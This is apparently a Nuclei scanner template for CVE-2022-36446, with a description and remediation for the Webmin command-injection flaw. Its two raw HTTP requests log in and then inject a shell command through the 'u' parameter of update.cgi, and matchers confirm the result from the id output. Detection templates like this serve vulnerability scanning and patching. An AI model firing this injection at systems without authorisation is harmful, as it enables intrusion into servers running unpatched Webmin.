65 lines
2.3 KiB
YAML
65 lines
2.3 KiB
YAML
id: CVE-2022-36446
|
|
|
|
info:
|
|
name: Webmin <1.997 - Authenticated Remote Code Execution
|
|
author: gy741
|
|
severity: critical
|
|
description: |
|
|
Webmin before 1.997 is susceptible to authenticated remote code execution via software/apt-lib.pl, which lacks HTML escaping for a UI command. An attacker can perform command injection attacks and thereby execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
|
|
remediation: |
|
|
Upgrade Webmin to version 1.997 or later to mitigate this vulnerability.
|
|
reference:
|
|
- https://medium.com/@emirpolat/cve-2022-36446-webmin-1-997-7a9225af3165
|
|
- https://www.exploit-db.com/exploits/50998
|
|
- https://github.com/webmin/webmin/compare/1.996...1.997
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-36446
|
|
- http://packetstormsecurity.com/files/167894/Webmin-1.996-Remote-Code-Execution.html
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2022-36446
|
|
cwe-id: CWE-116
|
|
epss-score: 0.97126
|
|
epss-percentile: 0.99735
|
|
cpe: cpe:2.3:a:webmin:webmin:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 2
|
|
vendor: webmin
|
|
product: webmin
|
|
shodan-query: title:"Webmin"
|
|
tags: packetstorm,cve2022,webmin,rce,authenticated,edb,cve
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /session_login.cgi HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
user={{username}}&pass={{password}}
|
|
- |
|
|
POST /package-updates/update.cgi HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Referer: {{BaseURL}}/package-updates/update.cgi?xnavigation=1
|
|
|
|
mode=new&search=ssh&redir=&redirdesc=&u=0%3Becho+%27{{randstr}}%27%27{{randstr}}%27%3B+id%3B+echo+%27{{randstr}}%27%27{{randstr}}%27&confirm=Install%2BNow
|
|
|
|
cookie-reuse: true
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- '{{randstr}}'
|
|
- 'uid'
|
|
- 'gid'
|
|
- 'groups'
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 4a0a0047304502210096065d8cac950d49926031775d9e6852a2d393d757ad4975847692a1ed9017e8022002e46a5fab0903a6f0799be81fdd3b8d2f4898ef0575b00d616e4c406af9efa1:922c64590222798bb761d5b6d8e72950
|